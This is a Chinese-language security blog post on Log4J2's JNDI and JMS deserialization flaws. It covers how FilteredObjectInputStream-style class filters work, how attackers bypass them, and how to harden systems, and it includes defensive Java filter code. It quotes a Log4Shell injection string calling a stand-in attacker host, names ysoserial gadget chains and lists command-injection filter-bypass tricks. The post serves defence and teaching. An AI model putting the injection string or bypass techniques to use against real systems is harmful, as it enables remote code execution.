news 2026/9/16 3:55:35

Log4J2 JMS反序列化与FilteredObjectInputStream:绕过与加固

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Log4J2 JMS反序列化与FilteredObjectInputStream:绕过与加固

2021 年底 Log4Shell 刷屏的时候,很多团队是连夜升级 log4j-core 的。但真正让做安全的人后背发凉的,不是 CVE-2021-44228 本身,而是接下来一个多月的连环补丁:JNDI 入口默认关闭了,还有 RCE;lookup 机制直接移除了,又冒出 CVE-2021-44832。这一次不走 JNDI,走的是 JMS 反序列化,官方修复里出现了一个关键词——FilteredObjectInputStream。

这名字听起来像某个安全库里的专用类,但它的本质其实是一个很朴素的模式:在ObjectInputStream反序列化之前先做一道类过滤。可问题是,类过滤到底能挡住多少?攻击者又有哪些路径可以绕过去?这篇文章我把链条完整拆一遍,从 Log4J2 的攻击面复盘,到 FilteredObjectInputStream 的实现原理,再到绕过思路和生产加固方案,尽量讲透,也希望给做 Java 安全、甲方安全建设和中间件运维的朋友一些能直接落地的参考。

1. 从 Log4Shell 到 JMS 反序列化:Log4J2 的攻击面是怎么一步步打开的

1.1 ${jndi:ldap} 如何一路打到代码执行

Log4Shell 的利用链路,很多人已经背下来了,但这里还是值得再捋一遍,因为它和后面要讲的 JMS 反序列化共享同一个根因:不可信的输入进入了危险的加载机制

Log4J2 的日志格式化支持 Lookup 插值,比如${env:JAVA_HOME}${sys:user.dir},本意是方便在日志模板里动态填充环境变量、系统属性这类信息。问题出在它把查找范围扩展到了 JNDI,也就是JndiLookup。攻击者只要在任意一个会被记录日志的字段里写入${jndi:ldap://attacker.com/evil},当这条日志被解析时,Log4J2 就会发起一个 LDAP 查询请求。

LDAP 服务器返回的内容是攻击者控制的,可以是一个远程 Java 对象的引用地址。目标 JVM 在解析 LDAP 响应时,会尝试从远程加载这个类并实例化。如果类本身携带恶意静态代码块或者构造逻辑,就实现了任意命令执行。整个过程没有经过任何身份验证,只要日志框架处理了包含恶意插值的字符串,攻击就成立。

这是 JNDI 注入,严格来说不是反序列化漏洞。但它的杀伤力在于:入口在日志框架里,而日志框架几乎被所有 Java 应用使用。你不需要找到业务漏洞,只需要找到一个能往日志里写入用户输入的位置——用户名、User-Agent、请求参数、订单号,任何地方都行。

1.2 CVE-2021-44832:JMS Appender 的反序列化入口

Log4J2 在 2.15.0 里默认禁用了 JNDI,在 2.16.0 里直接移除了JndiLookup对远程加载的支持。看起来这条路堵死了,但攻击者很快就盯上了另一个隐藏入口:JMS Appender。

JMS(Java Message Service)是 Java 里的消息服务规范,Log4J2 的 JMS Appender 可以把日志事件发送到消息队列或者主题。对应的还有JMSQueueReceiverJMSTopicReceiver,用于从队列或主题里接收日志事件。问题出在接收端:当消息类型是ObjectMessage时,接收方需要调用ObjectInputStream.readObject()把消息体里的 Java 对象反序列化出来。

问题在于,2.17.0 之前的版本在反序列化 JMS 消息时,并没有对对象类型做任何限制。攻击者如果可以向这个 JMS 队列或主题发布消息,那直接发一个精心构造的序列化对象(比如用 ysoserial 生成的 CommonsCollections payload),接收端就会在执行readObject()时触发反序列化利用链,最终执行系统命令。

这里要说清楚影响条件:它不是一个默认开启的攻击面。要触发漏洞,目标必须配置了 JMS Appender,而且接收端真的在处理ObjectMessage,同时攻击者还得具备向对应队列或主题发布消息的能力。所以这个 CVE 的 CVSS 分数没有 Log4Shell 那么高,但它本质上是一个标准的 Java 反序列化 RCE,攻击难度和利用稳定性都比 JNDI 注入要高不少。

1.3 连环补丁背后的攻防节奏

回看 Log4J2 那一段时间的修复节奏,其实是很好的安全研究素材。2.15.0 默认禁 JNDI,2.16.0 移除 lookup,2.17.0 才开始处理 JMS 反序列化。每修一次,攻击者就换一个入口再试一次。

这说明一个很现实的问题:一个中间件组件只要它的职责是"处理外部输入",那它的攻击面就是动态的。Log4J2 的核心职责是格式化日志,格式化过程需要解析字符串、查询上下文、加载外部数据,甚至通过网络收发消息。每一个子功能都可能成为漏洞点。修复 JNDI 只是堵住了当时最热门的入口,但"输入进入处理流程"这个架构特征没有变,后续被发现只是时间问题。

这给安全建设者的启示是:不要只看漏洞编号,要看你引入的组件到底在哪些位置接触了不可信数据。日志框架接收用户输入、消息客户端接收外部消息、序列化框架接收字节流——这些位置的信任边界,需要比依赖版本号更早地画出来。

2. FilteredObjectInputStream 的原理与边界:一个黑名单"守门员"的真实能力

2.1 覆写 resolveClass:一切过滤器的基础

Java 原生ObjectInputStream的完整反序列化流程,大致是这样一个调用链:readObject()读取对象头,根据流里的类描述信息找到对应类,然后创建实例并递归恢复对象图。其中有一个关键方法叫resolveClass(),它负责根据流中的类描述符,解析出真正的Class对象。

FilteredObjectInputStream这类防御组件的核心思路,就是覆写resolveClass(),在类被加载到 JVM 之前先做一次检查。如果类的名称不在允许列表里,或者命中了禁止列表,就直接抛InvalidClassException,从源头上阻止恶意类参与反序列化。

一个最简单的黑名单过滤器大致长这样:

public class FilteredObjectInputStream extends ObjectInputStream { private static final Set<String> BLOCKED_PREFIXES = Set.of( "org.apache.commons.collections.", "com.sun.org.apache.xalan.internal.xsltc.trax.", "org.codehaus.groovy.runtime." ); public FilteredObjectInputStream(InputStream in) throws IOException { super(in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); for (String prefix : BLOCKED_PREFIXES) { if (className.startsWith(prefix)) { throw new InvalidClassException("blocked class: " + className); } } return super.resolveClass(desc); } }

把原来new ObjectInputStream(input)的地方换成new FilteredObjectInputStream(input),反序列化的类加载入口就多了一道闸。

2.2 Log4J2 补丁里的 FilteredObjectInputStream 长什么样

Log4J2 在 2.17.0 版本中修复 CVE-2021-44832 时,走的正是上面这个模式。官方在 log4j-core 的代码里引入了自定义的ObjectInputStream子类,处理从JMSQueueReceiver/JMSTopicReceiver收到的ObjectMessage时,不再直接裸调readObject(),而是先经过过滤检查。

其实如果你看过 Apache Commons IO 里提供的ValidatingObjectInputStream,就会发现这完全是同一类东西:支持通过accept()/reject()方法显式声明允许或拒绝哪些类,底层也是覆写resolveClass()做拦截。这类工具不是 Log4J2 首创,而是 Java 生态里反序列化防护的通用实践。

补丁的关键点,我觉得有两个值得关注:

第一,过滤策略的配置方式。如果过滤规则是写死的,那灵活性就差;Log4J2 的做法是让接收端可以对期望接收的类做校验,比如只能反序列化接收方配置的类,不在预期内的全部拒绝。这比单纯维护一个黑名单更合理,因为它把"允许什么"的控制权交给了业务方,而不是靠安全团队去穷举攻击者的 gadget。

第二,异常处理。被过滤的类会直接抛异常并中断反序列化,避免对象图继续展开。这一点听起来是理所当然,但很多二次开发者在集成时容易忽略:异常处理如果做得不严谨,比如 catch 住之后继续往下走,过滤就形同虚设。

2.3 黑名单过滤的天然盲区

搞安全的人都知道,黑名单永远是不完备的。FilteredObjectInputStream 默认或者常见的实现,在对抗已知利用链时效果显著,但它天生有几个盲区。

第一个盲区是数组类。当序列化流中的对象类型声明指向一个数组,比如[Ljava.lang.Object;resolveClass()拿到的类名是数组类型本身。如果不把数组解包、逐层检查组件类型,攻击者可以用数组包装一个恶意类,过滤逻辑就会漏掉真正的目标类型。

第二个盲区是代理类。Java 反序列化对象图里还有一种特殊情况:动态代理。ObjectInputStream在恢复实现了InvocationHandler接口的代理对象时,走的是另一个方法resolveProxyClass()。很多只覆写了resolveClass()的过滤器,根本没有碰resolveProxyClass(),这就给攻击者留下了另外一种穿透路径。

第三个盲区是对象图的深度。反序列化是一个递归过程,一个对象里嵌着另一个对象,深层对象可能由 JDK 内部类的自定义readObject()方法触发加载。过滤器虽然会在每个类解析时介入,但细粒度的递归校验依赖对对象图的完整理解,一旦有了盲区,就可能有某个角落绕过检查。

所以,FilteredObjectInputStream 是一个有效的减伤措施,但它不是终点。它的定位应该是"增加利用成本、阻断已知攻击",而不是"让反序列化入口绝对安全"。

3. 绕过视角:数组类、代理类和未知 Gadget 如何穿透类过滤

3.1 未知 Gadget:黑名单永远慢半拍的原因

ysoserial 项目里收集的 gadget 链有几十条,CommonsCollections1 到 7、CommonsBeanutils、C3P0、JRMPClient、Rome、Hibernate,每一条链有各自的触发方式和依赖条件。如果过滤器的黑名单只是拦截了当时已知的几条链,那攻击者换一条没被覆盖的链,过滤就形同虚设。

比如黑名单里只写了org.apache.commons.collections.这个包名,攻击者用 CommonsBeanutils 的 gadget(类是org.apache.commons.beanutils.BeanComparator),黑名单就漏了。更极端的情况,如果黑名单只是精确匹配org.apache.commons.collections.functors.InvokerTransformer,那利用子类、等价替代类,也能绕过严格匹配规则。

这让我想到命令注入场景里的经典问题:黑名单过滤掉catflag/,攻击者照样能用nltacbase64编码、环境变量拼接、通配符匹配等方式读文件。RCE 的绕过本质,永远是"过滤规则覆盖的攻击面小于实际攻击面"。反序列化领域同理,黑名单只能证明"已知的利用链被堵住了",不能证明"sandbox 是安全的"。

所以在评估一个反序列化过滤器时,我最常做的一步是:拿 ysoserial 的所有 gadget 链,对着允许列表跑一遍,看哪些能落进白名单。能落进去的,就是风险点。

3.2 数组类、嵌套类与代理类的穿透路径

前面提到数组类是黑名单的天然盲区,这里展开说一下具体的绕过逻辑。假设过滤器的拦截代码是这样写的:

if (className.startsWith("org.apache.commons.collections.")) { throw new InvalidClassException("blocked"); }

攻击者如果直接在 payload 里塞一个InvokerTransformer,会在resolveClass()阶段被拦下。但如果攻击者把对象结构包装进一个Object[]数组,外层被解析的类是[Ljava.lang.Object;,这个类名不命中任何黑名单前缀,于是通过了检查。进入数组元素恢复阶段时,后端的resolveClass()才会被按元素类型再次调用——这取决于序列化框架的递归解析逻辑以及过滤器是否有对数组类做循环解包。

如果过滤器没有对数组类型做递归解包,那这一层就突破了。我在自己写过的一个反序列化防护组件里,专门处理了这种场景:拿到一个类名后,先看是否以[开头,如果是就不断解包,直到拿到基础组件类型再做校验。

private String unwrapArrayClassName(String className) { while (className.startsWith("[")) { if (className.startsWith("[L") && className.endsWith(";")) { className = className.substring(2, className.length() - 1); } else { className = className.substring(1); } } return className; }

代理类绕过的思路更刁钻。Java 动态代理机制允许为某个接口生成代理类,代理调用会被转发到InvocationHandler实例。某些 gadget 链里,代理对象的 handler 持有恶意类,如果过滤器只覆写了resolveClass()而没处理resolveProxyClass(),攻击者可以构造出一个代理对象,它的接口是允许通过的接口,而真正的恶意 handler 藏在对象图深处。所以真正完善的反序列化过滤器,必须同时覆写resolveProxyClass(),并递归检查 handler 的类型。

3.3 JMS 头属性:容易被忽略的第二入口

再回到 Log4J2 的 JMS 场景。JMSObjectMessage的正文固然是主要攻击面,但 JMS 消息不只是有正文,还有 Header(消息头)和 Property(属性)。某些 JMS 实现,在处理消息属性时如果支持从序列化对象恢复属性值,那属性字段也是反序列化入口。

这就是我前面说的"注意力陷阱":盯着正文做过滤,结果消息头里的属性把攻击引入了。安全分析不能只看单点入口,要看整个消息生命周期里,有哪些字段会被字节流转换成 Java 对象。做 JMS 类攻击面审计时,我一般会列出三种对象化路径:消息正文、消息属性、以及 JMS 厂商扩展字段,分别检查它们是否经过readObject()

另外还有一个实操细节容易被忽略:JMS 消息在传输的时候,接收端拿到的输入流可能是经过封装的多层流,某些实现还会先做压缩或者 Base64 解码。这会影响流上的 magic bytes 检测,而攻击者也能利用多层编码逃避基于流量特征的防御。所以做对象类型过滤,应该尽量靠近最终的ObjectInputStream那一层,而不是在网络入口做粗粒度检查。

3.4 从命令注入绕过看反序列化绕过的共性

把 RCE 绕过放在一起看,其实底层的对抗逻辑是完全一致的:攻击者在找一个"可以被数据驱动的函数",过滤器在找"哪些数据路径不该被驱动"。

命令注入过滤里,攻击者可以用${IFS}代替空格、用whoami$@绕过字符拼接限制、用bash -c开启新的解释器上下文。反序列化过滤里,攻击者用数组类绕过类名校验、用动态代理隐藏恶意 handler、用未知 gadget 绕过黑名单、用TemplatesImpl在类加载阶段直接执行字节码。

共同点是什么?是"间接"。过滤器拦的是直接的执行入口,攻击者就找间接的触发路径。命令注入里,phppcntl_exec函数经常被用来绕过对systemexec这类常见函数的过滤——因为它的语义是"替换当前进程",不在常规命令执行函数的黑名单里。反序列化里,TemplatesImpl把恶意字节码藏在成员变量里,类加载时执行defineClass,这本质上也是"换一个不那么显眼的触发函数"。

理解这个共性的价值在于:做防护时,不能把希望寄托在"我能想到所有危险类"上,而应该从信任模型出发,设计默认拒绝的策略。

4. 修复与加固:从官方补丁到自研反序列化防护的落地清单

4.1 先升级:版本对照与影响面确认

不管后续要做多少加固,第一步永远是先升级到官方修复版本。CVE-2021-44832 的修复版本是 Log4J2 2.17.0,对应的旧分支修复版本是 2.12.2 和 2.3.2。如果你现在还在用 2.x 的低版本,先切换到这些版本或者更新的版本。

升级之前先确认影响面:你的应用是否使用了 JMS Appender?是否配置了JMSQueueReceiverJMSTopicReceiver?是否接收ObjectMessage?如果没有配置任何 JMS 相关组件,这个 CVE 的实际影响是很有限的。但注意,这不代表你可以不升级,因为 Log4J2 后续还修复过多个其他问题,版本滞后本身就是风险。

用 Maven 做依赖检查时,我一般会跑这样一条命令:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

重点看实际生效的版本,因为很多场景下依赖是被其他中间件间接引入的,你在pom.xml里写了一个高版本,但传递依赖解析出来可能是另一个版本。这种版本漂移问题,最容易让修复落空。

4.2 自研反序列化防护的正确姿势

如果你的业务里存在必须接收不可信输入的反序列化接口,最安全的选择是放弃使用ObjectInputStream,改用 JSON、Protobuf 这类结构化格式。但在一些老系统里,改造协议的成本太高,不得不继续走 Java 序列化,那就要把防护组件做对。

我自己的经验是四件事:

第一,默认拒绝。能准确列出允许类清单时,永远优先用白名单;不能用白名单,也尽量按包名前缀做粗粒度的 allow,而不是维护一个黑名单去穷举危险类。

第二,递归检查数组和集合元素。序列化对象图里的集合类,比如ArrayListHashMap,它们内部元素的类解析也是绕不开resolveClass()的。但数组类不会自动解包,必须手动处理。

第三,覆写resolveProxyClass()。动态代理是除了resolveClass()之外的另一条类加载路径,只过滤前者等于给攻击者留了一个特制通道。

第四,对TemplatesImpl这种可以通过类加载直接执行字节码的 JDK 内部类,要特别敏感。它的危害不在于它有命令执行方法,而在于它把字节码加载和执行集成在了一个类里,是大量 gadget 链的最终执行点。

public class SafeObjectInputStream extends ObjectInputStream { private final Set<String> allowedPrefixes; public SafeObjectInputStream(InputStream in, Set<String> allowedPrefixes) throws IOException { super(in); this.allowedPrefixes = allowedPrefixes; } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = unwrapArrayClassName(desc.getName()); boolean allowed = allowedPrefixes.stream().anyMatch(name::startsWith); if (!allowed) { throw new InvalidClassException("not allowed: " + name); } return super.resolveClass(desc); } @Override protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { for (String itf : interfaces) { boolean allowed = allowedPrefixes.stream().anyMatch(itf::startsWith); if (!allowed) { throw new InvalidClassException("proxy interface not allowed: " + itf); } } return super.resolveProxyClass(interfaces); } }

这套代码不是银弹,但它能在绝大多数场景下把一个"裸奔的反序列化入口"变成一个"只在可控类集合内运行的反序列化入口"。

4.3 纵深防御:把反序列化入口彻底包起来

最后从整个安全架构的角度说几句。反序列化 RCE 的问题,不能只靠一个过滤器解决,要从入口、网络、运行时三个层面一起压制。

入口层面,对于 JMS 场景,最直接的建议是:能不用ObjectMessage就不用,改用TextMessage并自定义序列化协议。日志消息本身是文本,没有任何理由需要用 Java 原生序列化来承载。如果确实要接收对象消息,对 JMS 连接启用认证和授权,限制消息的生产者来源,避免匿名用户可以往队列里投递消息。

网络层面,反序列化利用往往需要目标环境具备外连能力,比如 gadget 链会触发远程类加载或者外带信息。在防火墙和出网策略上,限制应用服务器主动外连 LDAP、RMI、HTTP 等协议,能有效切断一部分利用场景。这不是应急措施,而是长期该做的默认策略。

运行时层面,可以考虑在 Java agent 层面对危险调用做拦截。比如 RASP 技术可以拦截Runtime.exec()ProcessBuilder的调用,以及自定义类加载器的字节码定义操作。即便反序列化的类加载通过了过滤器,最终执行系统命令时仍然可以被运行时防护兜住。WAF 或流量检测设备也可以关注 Java 序列化流的 magic bytes(十六进制的AC ED 00 05),在网络层做一层特征匹配,虽然容易绕过,但能拦住自动化扫描器这类低水平攻击。

日志审计方面,强烈建议在代码里对反序列化入口打日志,记录来源 IP、对象类型、类名这些信息。攻击者的探测行为,在日志里往往会有异常类名或者大量错误堆栈,这些是事后溯源和规则优化的依据。

我在实际评估中见过不少系统,反序列化防护做得看起来不错,黑名单、过滤组件该有的都有,但消息来源没有任何认证,任意一个能往集群里发消息的外部系统都能触达接口。这就好比门锁换成指纹锁,但大门本身没关。加固的时候,永远不要只盯着一个点,而是要把入口认证、网络隔离、依赖升级、运行时防护串成一条完整的防御链。

如果你现在的系统里还有这类反序列化入口,我的建议是,先花一个下午把所有可能触发ObjectInputStream.readObject()的位置列出来,分好级,然后逐个确认:输入是谁给的?有没有认证?对象的类集合可控不可控?四个问题答完,哪里该上过滤器、哪里该改协议、哪里该断网,基本就清楚了。程序里的每个反序列化入口,都应该是一个经过审计的窄口,而不是一扇谁都能推开的门。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/16 3:55:24

源代码防泄密实战:五道防线堵住代码外泄的每一个出口

源代码泄密这件事&#xff0c;我接触得越多越觉得它像一个慢性病。多数团队不是没有安全意识&#xff0c;而是觉得“代码放在Git仓库里&#xff0c;别人看不到不就完了”&#xff0c;结果问题往往出在最意想不到的环节——外包平台截图、离职员工的网盘备份、供应商群里的一句“…

作者头像 李华
网站建设 2026/9/16 3:55:23

Django+Keras+ECharts股票预测全栈实践

简介&#xff1a;这是一套面向计算机专业本科生的毕业设计级智能股票分析系统完整实现&#xff0c;聚焦金融数据分析场景&#xff0c;融合Web开发、深度学习与数据可视化三大技术栈。系统基于Django构建稳健后端服务&#xff0c;Keras训练股价预测与情感分析模型&#xff0c;前…

作者头像 李华
网站建设 2026/9/16 3:55:17

WPS PDF实战手册:转Word、OCR、合并、转曲全攻略

先声明一下&#xff1a;整篇只聊正版WPS自带的能力&#xff0c;不碰破解、不聊灰色工具。原因很简单&#xff0c;没必要。WPS的PDF模块这些年迭代得比很多人想象中扎实&#xff0c;日常遇到的转Word、合并拆分、压缩、扫描件清洗、甚至印刷前的转曲需求&#xff0c;它都能正面接…

作者头像 李华
网站建设 2026/9/16 3:54:59

STM8S003多通道ADC采集实战:扫描模式、轮询与双基准校正

简介&#xff1a;面向STM8S003单片机学习者的多通道ADC采集示例工程&#xff0c;以“单片机轮询法”为主线&#xff0c;完整演示了ADC初始化、工作模式与参数配置、通道选择、启动转换、轮询等待状态标志以及读取转换结果的完整流程&#xff0c;适合嵌入式初学者、课程设计或需…

作者头像 李华
网站建设 2026/9/16 3:54:53

游戏下载站背后的安全暗面:破解生态与恶意代码投递链

1. 从“游戏下载站”到“安全风险观察样本”&#xff1a;为什么聊3DM和游民星空要扯上网络安全我是做网络安全这行的&#xff0c;平时除了盯流量、抓报文、分析告警之外&#xff0c;私下还有个爱好是研究互联网产品的“考古”。2025年了&#xff0c;再提起3DM和游民星空&#x…

作者头像 李华
网站建设 2026/9/16 3:54:44

Go语言实现最大子数组总值Ⅱ:前k大子区间和的高效解法

前几天我在 Go 技术群里看到有人发了一道题&#xff0c;标题写着“最大子数组总值Ⅱ”&#xff0c;底下跟着一串描述&#xff1a;给定长度 n 的整数数组 nums&#xff0c;还有一个整数 k&#xff0c;要挑出恰好 k 个互不相同的非空连续区间&#xff0c;允许重叠&#xff0c;但不…

作者头像 李华